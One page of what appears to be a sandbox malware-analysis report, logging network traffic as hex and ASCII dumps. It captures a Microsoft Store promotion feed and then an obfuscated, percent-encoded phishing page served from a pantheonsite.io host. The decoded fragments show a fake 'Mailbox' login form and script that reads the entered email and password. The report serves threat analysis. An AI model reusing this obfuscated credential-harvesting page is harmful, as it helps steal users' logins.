Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 25 Nov 2021 16:27:33 GMT
Connection: close

2021-11-25 16:27:34 UTC 205 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 
69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64
72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5c 22 3a 
5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 
74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 
78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 
3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"
CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"b
oolean\

2021-11-25 16:27:34 UTC 220 IN Data Raw: 54 69 6c 65 5c 22 7d 2c 5c 22 64 69 73 70 6c 61 79 4e 61 6d 65 5c 22 3a 7b 5c 22 74 65 78 74 5c 22 3a 5c 22 
59 6f 75 72 20 50 68 6f 6e 65 5c 22 7d 2c 5c 22 70 68 6f 6e 65 74 69 63 4e 61 6d 65 5c 22 3a 7b 5c 22 74 65 78 74 5c 22 
3a 5c 22 59 6f 75 72 20 50 68 6f 6e 65 5c 22 7d 2c 5c 22 70 61 63 6b 61 67 65 53 69 7a 65 5c 22 3a 7b 5c 22 6e 75 6d 62 
65 72 5c 22 3a 32 33 31 37 39 32 36 36 34 2e 30 7d 2c 5c 22 6c 61 75 6e 63 68 53 74 6f 72 65 5c 22 3a 7b 5c 22 65 76 65 
6e 74 5c 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 
5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 6e 
6d 70 6a 39 39 76 6a 62 77 76 26 6f 63 69 64 3d 65 6d 73 
Data Ascii: Tile\"},\"displayName\":{\"text\":\"Your Phone\"},\"phoneticName\":{\"text\":\"Your Phone\"},\"packageSize\":
{\"number\":231792664.0},\"launchStore\":{\"event\":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?prod
uctid=9nmpj99vjbwv&ocid=ems

2021-11-25 16:27:34 UTC 236 IN Data Raw: 31 5c 22 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 
5c 22 69 6e 73 74 61 6c 6c 44 65 6c 61 79 5c 22 3a 7b 5c 22 74 65 78 74 5c 22 3a 5c 22 6f 6e 44 65 6d 61 6e 64 5c 22 
7d 2c 5c 22 73 77 61 70 53 74 61 72 74 54 69 6c 65 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 70 69 6e 5c 22 2c 
5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 73 77 61 70 53 74 61 72 7
4 54 69 6c 65 5c 22 7d 2c 5c 22 64 69 73 70 6c 61 79 4e 61 6d 65 5c 22 3a 7b 5c 22 74 65 78 74 5c 22 3a 5c 22 54 69 6b 
54 6f 6b 5c 22 7d 2c 5c 22 70 68 6f 6e 65 74 69 63 4e 61 6d 65 5c 22 3a 7b 5c 22 74 65 78 74 5c 22 3a 5c 22 54 69 6b 54 
6f 6b 5c 22 7d 2c 5c 22 70 61 63 6b 61 67 65 53 69 7a 65 5c 22 3a 
Data Ascii: 1\"},\"installApp\":{\"bool\":true},\"installDelay\":{\"text\":\"onDemand\"},\"swapStartTile\":{\"event\":\"pin\",\"pa
rameters\":{},\"action\":\"swapStartTile\"},\"displayName\":{\"text\":\"TikTok\"},\"phoneticName\":{\"text\":\"TikTok\"},\"package
Size\":

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:34 UTC 252 IN Data Raw: 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 73 77 61 70 53 74 61 72 74 54 
69 6c 65 5c 22 7d 2c 5c 22 64 69 73 70 6c 61 79 4e 61 6d 65 5c 22 3a 7b 5c 22 74 65 78 74 5c 22 3a 5c 22 54 77 69 74 
74 65 72 5c 22 7d 2c 5c 22 70 68 6f 6e 65 74 69 63 4e 61 6d 65 5c 22 3a 7b 5c 22 74 65 78 74 5c 22 3a 5c 22 54 77 69 74 
74 65 72 5c 22 7d 2c 5c 22 70 61 63 6b 61 67 65 53 69 7a 65 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 34 34 32 33 
39 32 2e 30 7d 2c 5c 22 6c 61 75 6e 63 68 53 74 6f 72 65 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 63 6c 69 63 6
b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 
2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 
Data Ascii: ameters\":{},\"action\":\"swapStartTile\"},\"displayName\":{\"text\":\"Twitter\"},\"phoneticName\":{\"text\":\"Twitter
\"},\"packageSize\":{\"number\":442392.0},\"launchStore\":{\"event\":\"click\",\"parameters\":{\"uri\":\"ms-windows-stor
e:\/\/pdp\/?produ

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

17 192.168.2.4 49785 23.185.0.253 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:44 UTC 261 OUT GET /$!&&br.d.g$&!&.html HTTP/1.1
Host: dev-ce563d81711943.pantheonsite.io
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2021-11-25 16:27:44 UTC 266 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 25180
Content-Type: text/html
Etag: W/"6194ba37-625c"
Last-Modified: Wed, 17 Nov 2021 08:15:51 GMT
Server: nginx
Strict-Transport-Security: max-age=300
X-Pantheon-Styx-Hostname: styx-fe1-b-d985bc577-z9drz
X-Styx-Req-Id: 8624a7d4-4e0c-11ec-be7c-4eaf29936c1b
Date: Thu, 25 Nov 2021 16:27:44 GMT
X-Served-By: cache-mdw17332-MDW, cache-mxp6952-MXP
X-Cache: HIT, MISS
X-Cache-Hits: 1, 0
X-Timer: S1637857664.343770,VS0,VE123
Vary: Accept-Encoding, Cookie, Cookie
X-Robots-Tag: noindex
Age: 0
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish

2021-11-25 16:27:44 UTC 267 IN Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 64 6f 63 
75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 63 25 32 31 25 36 34 25 36 66 25 36 33 25 37 
34 25 37 39 25 37 30 25 36 35 25 32 30 25 36 38 25 37 34 25 36 64 25 36 63 25 33 65 25 30 64 25 30 61 25 33 63 25 36 
38 25 37 34 25 36 64 25 36 63 25 32 30 25 36 63 25 36 31 25 36 65 25 36 37 25 33 64 25 32 32 25 36 35 25 36 65 25 32 
32 25 33 65 25 33 63 25 36 63 25 36 39 25 36 65 25 36 62 25 32 30 25 37 32 25 36 35 25 36 63 25 33 64 25 32 32 25 36 
39 25 36 33 25 36 66 25 36 65 25 32 32 25 32 30 25 37 34 25 37 39 25 37 30 25 36 35 25 33 64 25 32 32 25 36 39 25 36 
64 25 36 31 25 36 37 25 36 35 25 32 66 25 37 30 25 36 65 25 36 37 25 32 
Data Ascii: <script type="text/javascript">document.write(unescape('%3c%21%64%6f%63%74%79%70%65%20%6
8%74%6d%6c%3e%0d%0a%3c%68%74%6d%6c%20%6c%61%6e%67%3d%22%65%6e%22%3e%3c%6c%69%6e%
6b%20%72%65%6c%3d%22%69%63%6f%6e%22%20%74%79%70%65%3d%22%69%6d%61%67%65%2f%70%6e
%67%2

2021-11-25 16:27:44 UTC 268 IN Data Raw: 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 64 25 36 31 25 
37 32 25 36 37 25 36 39 25 36 65 25 33 61 25 32 30 25 33 33 25 33 30 25 37 30 25 37 38 25 32 30 25 36 31 25 37 35 25 
37 34 25 36 66 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 64 25 30 64 25 
30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 65 25 36 63 25 36 66 25 36 37 25 36 39 25 36 65 25 
32 64 25 36 36 25 36 66 25 37 32 25 36 64 25 32 30 25 36 36 25 36 66 25 37 32 25 36 64 25 32 30 25 37 62 25 30 64 25 
30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 64 25 36 31 25 37 32 25 36 37 25 
36 39 25 36 65 25 32 64 25 36 32 25 36 66 25 37 34 25 37 34 25 36 66 25 36 
Data Ascii: d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%3a%20%33%30%70%78%20%
61%75%74%6f%3b%0d%0a%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%2e%6c%6f%67%69
%6e%2d%66%6f%72%6d%20%66%6f%72%6d%20%7b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%6
7%69%6e%2d%62%6f%74%74%6f%6

Copyright Joe Security LLC 2021 Page 48 of 214



2021-11-25 16:27:44 UTC 270 IN Data Raw: 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 66 25 36 65 25 
37 34 25 32 64 25 37 33 25 36 39 25 37 61 25 36 35 25 33 61 25 32 30 25 33 31 25 33 35 25 37 30 25 37 38 25 33 62 25 
30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 66 25 36 65 25 
37 34 25 32 64 25 37 37 25 36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 33 61 25 32 30 25 36 32 25 36 66 25 36 63 25 
36 34 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 64 25 30 64 25 30 61 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 65 25 37 33 25 36 66 25 36 33 25 36 39 25 36 31 25 36 63 25 
32 64 25 36 32 25 37 34 25 36 65 25 32 30 25 32 65 25 36 32 25 37 34 25 36 
Data Ascii: a%20%20%20%20%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%35%70%
78%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%20%62%6f
%6c%64%3b%0d%0a%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%2e%73%6f%63%69%61%6
c%2d%62%74%6e%20%2e%62%74%6

2021-11-25 16:27:44 UTC 271 IN Data Raw: 65 25 36 66 25 37 32 25 32 64 25 37 33 25 36 35 25 37 30 25 36 35 25 37 32 25 36 31 25 37 34 25 36 66 25 
37 32 25 32 30 25 37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
36 64 25 36 31 25 37 32 25 36 37 25 36 39 25 36 65 25 32 64 25 37 34 25 36 66 25 37 30 25 33 61 25 32 30 25 33 32 25 
33 30 25 37 30 25 37 38 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 37 34 25 36 35 25 37 38 25 37 34 25 32 64 25 36 31 25 36 63 25 36 39 25 36 37 25 36 65 25 33 61 25 32 30 25 
36 33 25 36 35 25 36 65 25 37 34 25 36 35 25 37 32 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 36 32 25 36 66 25 37 32 25 36 34 25 36 
Data Ascii: e%6f%72%2d%73%65%70%65%72%61%74%6f%72%20%7b%0d%0a%20%20%20%20%20%20%
20%20%6d%61%72%67%69%6e%2d%74%6f%70%3a%20%32%30%70%78%3b%0d%0a%20%20%20%20%20%20
%20%20%74%65%78%74%2d%61%6c%69%67%6e%3a%20%63%65%6e%74%65%72%3b%0d%0a%20%20%20%2
0%20%20%20%20%62%6f%72%64%6

2021-11-25 16:27:44 UTC 272 IN Data Raw: 33 25 33 64 25 32 32 25 32 32 25 32 30 25 36 31 25 36 63 25 37 34 25 33 64 25 32 32 25 34 64 25 36 31 25 
36 39 25 36 63 25 36 32 25 36 66 25 37 38 25 32 32 25 32 30 25 36 39 25 36 34 25 33 64 25 32 32 25 36 63 25 36 66 25 
36 37 25 36 66 25 36 39 25 36 64 25 36 37 25 32 32 25 32 30 25 37 33 25 37 34 25 37 39 25 36 63 25 36 35 25 33 64 25 
32 32 25 37 37 25 36 39 25 36 34 25 37 34 25 36 38 25 33 61 25 33 32 25 33 38 25 37 30 25 37 38 25 33 62 25 36 38 25 
36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 33 61 25 33 32 25 33 38 25 37 30 25 37 38 25 33 62 25 32 32 25 33 65 25 
33 63 25 37 33 25 37 30 25 36 31 25 36 65 25 32 30 25 37 33 25 37 34 25 37 39 25 36 63 25 36 35 25 33 64 25 32 32 25 
37 36 25 36 35 25 37 32 25 37 34 25 36 39 25 36 33 25 36 31 25 36 63 25 32 
Data Ascii: 3%3d%22%22%20%61%6c%74%3d%22%4d%61%69%6c%62%6f%78%22%20%69%64%3d%22%
6c%6f%67%6f%69%6d%67%22%20%73%74%79%6c%65%3d%22%77%69%64%74%68%3a%32%38%70%78%3b
%68%65%69%67%68%74%3a%32%38%70%78%3b%22%3e%3c%73%70%61%6e%20%73%74%79%6c%65%3d%2
2%76%65%72%74%69%63%61%6c%2

2021-11-25 16:27:44 UTC 274 IN Data Raw: 64 25 32 32 25 36 36 25 36 66 25 37 32 25 36 64 25 32 64 25 36 37 25 37 32 25 36 66 25 37 35 25 37 30 25 
32 32 25 33 65 25 33 63 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 
32 32 25 36 39 25 36 65 25 37 30 25 37 35 25 37 34 25 32 64 25 36 37 25 37 32 25 36 66 25 37 35 25 37 30 25 32 32 25 
33 65 25 33 63 25 37 33 25 37 30 25 36 31 25 36 65 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 
32 32 25 36 39 25 36 65 25 37 30 25 37 35 25 37 34 25 32 64 25 36 37 25 37 32 25 36 66 25 37 35 25 37 30 25 32 64 25 
36 31 25 36 34 25 36 34 25 36 66 25 36 65 25 32 32 25 33 65 25 33 63 25 36 39 25 32 30 25 36 33 25 36 63 25 36 31 25 
37 33 25 37 33 25 33 64 25 32 32 25 36 36 25 36 31 25 37 33 25 32 30 25 36 
Data Ascii: d%22%66%6f%72%6d%2d%67%72%6f%75%70%22%3e%3c%64%69%76%20%63%6c%61%73%
73%3d%22%69%6e%70%75%74%2d%67%72%6f%75%70%22%3e%3c%73%70%61%6e%20%63%6c%61%73%73
%3d%22%69%6e%70%75%74%2d%67%72%6f%75%70%2d%61%64%64%6f%6e%22%3e%3c%69%20%63%6c%6
1%73%73%3d%22%66%61%73%20%6

2021-11-25 16:27:44 UTC 275 IN Data Raw: 32 25 36 34 25 32 32 25 32 30 25 37 32 25 36 35 25 37 31 25 37 35 25 36 39 25 37 32 25 36 35 25 36 34 25 
33 64 25 32 32 25 37 32 25 36 35 25 37 31 25 37 35 25 36 39 25 37 32 25 36 35 25 36 34 25 32 32 25 33 65 25 33 63 25 
32 66 25 36 34 25 36 39 25 37 36 25 33 65 25 33 63 25 32 66 25 36 34 25 36 39 25 37 36 25 33 65 25 33 63 25 36 34 25 
36 39 25 37 36 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 32 32 25 36 36 25 36 66 25 37 32 25 
36 64 25 32 64 25 36 37 25 37 32 25 36 66 25 37 35 25 37 30 25 32 32 25 33 65 25 33 63 25 36 39 25 36 65 25 37 30 25 
37 35 25 37 34 25 32 30 25 37 34 25 37 39 25 37 30 25 36 35 25 33 64 25 32 32 25 36 38 25 36 39 25 36 34 25 36 34 25 
36 35 25 36 65 25 32 32 25 32 30 25 36 65 25 36 31 25 36 64 25 36 35 25 33 
Data Ascii: 2%64%22%20%72%65%71%75%69%72%65%64%3d%22%72%65%71%75%69%72%65%64%22%
3e%3c%2f%64%69%76%3e%3c%2f%64%69%76%3e%3c%64%69%76%20%63%6c%61%73%73%3d%22%66%6f
%72%6d%2d%67%72%6f%75%70%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%68%69%64%6
4%65%6e%22%20%6e%61%6d%65%3

2021-11-25 16:27:44 UTC 276 IN Data Raw: 63 25 32 64 25 36 63 25 36 35 25 36 36 25 37 34 25 32 30 25 36 33 25 36 38 25 36 35 25 36 33 25 36 62 25 
36 32 25 36 66 25 37 38 25 32 64 25 36 39 25 36 65 25 36 63 25 36 39 25 36 65 25 36 35 25 32 32 25 33 65 25 33 63 25 
36 39 25 36 65 25 37 30 25 37 35 25 37 34 25 32 30 25 37 34 25 37 39 25 37 30 25 36 35 25 33 64 25 32 32 25 36 33 25 
36 38 25 36 35 25 36 33 25 36 62 25 36 32 25 36 66 25 37 38 25 32 32 25 33 65 25 32 30 25 35 33 25 36 35 25 36 33 25 
37 35 25 37 32 25 36 35 25 36 34 25 32 30 25 34 63 25 36 66 25 36 37 25 36 39 25 36 65 25 32 30 25 37 33 25 36 35 25 
37 33 25 37 33 25 36 39 25 36 66 25 36 65 25 33 66 25 33 63 25 32 66 25 36 63 25 36 31 25 36 32 25 36 35 25 36 63 25 
33 65 25 33 63 25 32 66 25 36 34 25 36 39 25 37 36 25 33 65 25 33 63 25 32 
Data Ascii: c%2d%6c%65%66%74%20%63%68%65%63%6b%62%6f%78%2d%69%6e%6c%69%6e%65%22%
3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%63%68%65%63%6b%62%6f%78%22%3e%20%53%65
%63%75%72%65%64%20%4c%6f%67%69%6e%20%73%65%73%73%69%6f%6e%3f%3c%2f%6c%61%62%65%6
c%3e%3c%2f%64%69%76%3e%3c%2

2021-11-25 16:27:44 UTC 278 IN Data Raw: 30 25 32 65 25 37 37 25 37 33 25 35 66 25 37 34 25 36 32 25 35 66 25 36 32 25 37 34 25 36 65 25 32 30 25 
37 62 25 36 33 25 37 35 25 37 32 25 37 33 25 36 66 25 37 32 25 33 61 25 37 30 25 36 66 25 36 39 25 36 65 25 37 34 25 
36 35 25 37 32 25 33 62 25 36 32 25 36 66 25 37 32 25 36 34 25 36 35 25 37 32 25 33 61 25 33 31 25 37 30 25 37 38 25 
32 30 25 37 33 25 36 66 25 36 63 25 36 39 25 36 34 25 32 30 25 32 33 25 33 35 25 33 35 25 33 35 25 33 62 25 37 30 25 
36 31 25 36 34 25 36 34 25 36 39 25 36 65 25 36 37 25 33 61 25 33 33 25 37 30 25 37 38 25 37 64 25 32 30 25 32 30 25 
32 30 25 32 65 25 37 34 25 36 32 25 35 66 25 36 38 25 36 39 25 36 37 25 36 38 25 36 63 25 36 39 25 36 37 25 36 38 25 
37 34 25 37 62 25 36 32 25 36 31 25 36 33 25 36 62 25 36 37 25 37 32 25 36 
Data Ascii: 0%2e%77%73%5f%74%62%5f%62%74%6e%20%7b%63%75%72%73%6f%72%3a%70%6f%69%
6e%74%65%72%3b%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%23%35%35%35%3b
%70%61%64%64%69%6e%67%3a%33%70%78%7d%20%20%20%2e%74%62%5f%68%69%67%68%6c%69%67%6
8%74%7b%62%61%63%6b%67%72%6

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:44 UTC 279 IN Data Raw: 66 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 
33 63 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 33 65 25 30 64 25 30 61 25 30 39 25 32 30 25 32 30 25 
32 30 25 32 34 25 32 38 25 36 34 25 36 66 25 36 33 25 37 35 25 36 64 25 36 35 25 36 65 25 37 34 25 32 39 25 32 65 25 
36 32 25 36 39 25 36 65 25 36 34 25 32 38 25 32 37 25 36 62 25 36 35 25 37 39 25 36 34 25 36 66 25 37 37 25 36 65 25 
32 37 25 32 63 25 32 30 25 36 36 25 37 35 25 36 65 25 36 33 25 37 34 25 36 39 25 36 66 25 36 65 25 32 38 25 36 35 25 
32 39 25 32 30 25 37 62 25 30 64 25 30 61 25 36 39 25 36 36 25 32 38 25 36 35 25 32 65 25 36 33 25 37 34 25 37 32 25 
36 63 25 34 62 25 36 35 25 37 39 25 32 30 25 32 36 25 32 36 25 32 30 25 32 
Data Ascii: f%73%63%72%69%70%74%3e%0d%0a%20%20%3c%73%63%72%69%70%74%3e%0d%0a%09%
20%20%20%24%28%64%6f%63%75%6d%65%6e%74%29%2e%62%69%6e%64%28%27%6b%65%79%64%6f%77
%6e%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%29%20%7b%0d%0a%69%66%28%65%2e%63%74%7
2%6c%4b%65%79%20%26%26%20%2

2021-11-25 16:27:44 UTC 280 IN Data Raw: 36 25 32 38 25 36 35 25 32 65 25 36 33 25 37 34 25 37 32 25 36 63 25 34 62 25 36 35 25 37 39 25 32 39 25 
30 64 25 30 61 25 37 62 25 30 64 25 30 61 25 37 32 25 36 35 25 37 34 25 37 35 25 37 32 25 36 65 25 32 30 25 36 36 25 
36 31 25 36 63 25 37 33 25 36 35 25 33 62 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 64 25 30 64 25 
30 61 25 36 35 25 36 63 25 37 33 25 36 35 25 32 30 25 37 62 25 30 64 25 30 61 25 37 32 25 36 35 25 37 34 25 37 35 25 
37 32 25 36 65 25 32 30 25 37 34 25 37 32 25 37 35 25 36 35 25 33 62 25 30 64 25 30 61 25 37 64 25 37 64 25 32 39 25 
33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 66 25 32 61 25 32 30 25 36 37 25 36 63 25 36 66 25 
36 32 25 36 31 25 36 63 25 32 30 25 32 34 25 32 30 25 32 61 25 32 66 25 30 
Data Ascii: 6%28%65%2e%63%74%72%6c%4b%65%79%29%0d%0a%7b%0d%0a%72%65%74%75%72%6e%
20%66%61%6c%73%65%3b%20%20%20%20%20%20%7d%0d%0a%65%6c%73%65%20%7b%0d%0a%72%65%74
%75%72%6e%20%74%72%75%65%3b%0d%0a%7d%7d%29%3b%0d%0a%20%20%20%20%2f%2a%20%67%6c%6
f%62%61%6c%20%24%20%2a%2f%0

2021-11-25 16:27:44 UTC 282 IN Data Raw: 64 25 30 61 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 64 25 30 64 25 
30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 35 25 36 63 25 37 33 25 36 35 25 30 64 25 30 61 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 64 25 37 39 25 35 66 25 36 35 25 36 64 25 
36 31 25 36 39 25 36 63 25 32 30 25 33 64 25 36 35 25 36 64 25 36 31 25 36 39 25 36 63 25 33 62 25 30 64 25 30 61 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 34 25 32 38 25 32 37 25 32 33 25 36 35 25 
36 64 25 36 31 25 36 39 25 36 63 25 32 37 25 32 39 25 32 65 25 37 36 25 36 
Data Ascii: d%0a%0d%0a%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%65%6c%73%65%
0d%0a%20%20%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d%79%5f%65
%6d%61%69%6c%20%3d%65%6d%61%69%6c%3b%0d%0a%20%20%20%20%20%20%20%20%24%28%27%23%6
5%6d%61%69%6c%27%29%2e%76%6

2021-11-25 16:27:44 UTC 283 IN Data Raw: 66 25 36 36 25 32 38 25 32 37 25 32 65 25 32 37 25 32 39 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 36 25 36 39 25 
36 65 25 36 31 25 36 63 25 33 64 25 32 30 25 36 33 25 32 65 25 37 34 25 36 66 25 34 63 25 36 66 25 37 37 25 36 35 25 
37 32 25 34 33 25 36 31 25 37 33 25 36 35 25 32 38 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 36 25 36 39 25 36 65 25 36 31 25 
36 63 25 37 35 25 33 64 25 32 30 25 36 33 25 32 65 25 37 34 25 36 66 25 35 35 25 37 30 25 37 30 25 36 35 25 37 32 25 
34 33 25 36 31 25 37 33 25 36 35 25 32 38 25 32 39 25 33 62 25 30 64 25 30 
Data Ascii: f%66%28%27%2e%27%29%29%3b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%
66%69%6e%61%6c%3d%20%63%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%3b%0d%0a%20%20
%20%20%20%20%20%20%76%61%72%20%66%69%6e%61%6c%75%3d%20%63%2e%74%6f%55%70%70%65%7
2%43%61%73%65%28%29%3b%0d%0

2021-11-25 16:27:44 UTC 284 IN Data Raw: 30 25 37 36 25 36 31 25 37 32 25 32 30 25 37 30 25 36 31 25 37 33 25 37 33 25 37 37 25 36 66 25 37 32 25 
36 34 25 33 64 25 32 34 25 32 38 25 32 32 25 32 33 25 37 30 25 36 31 25 37 33 25 37 33 25 37 37 25 36 66 25 37 32 25 
36 34 25 32 32 25 32 39 25 32 65 25 37 36 25 36 31 25 36 63 25 32 38 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 64 25 37 33 25 
36 37 25 32 30 25 33 64 25 32 30 25 32 34 25 32 38 25 32 37 25 32 33 25 36 64 25 37 33 25 36 37 25 32 37 25 32 39 25 
32 65 25 36 38 25 37 34 25 36 64 25 36 63 25 32 38 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 34 25 32 38 25 32 37 25 32 
Data Ascii: 0%76%61%72%20%70%61%73%73%77%6f%72%64%3d%24%28%22%23%70%61%73%73%77%
6f%72%64%22%29%2e%76%61%6c%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d
%73%67%20%3d%20%24%28%27%23%6d%73%67%27%29%2e%68%74%6d%6c%28%29%3b%0d%0a%20%20%2
0%20%20%20%20%20%24%28%27%2

2021-11-25 16:27:44 UTC 286 IN Data Raw: 63 25 32 65 25 37 33 25 37 35 25 36 32 25 37 33 25 37 34 25 37 32 25 32 38 25 32 38 25 36 39 25 36 65 25 
36 34 25 32 62 25 33 31 25 32 39 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
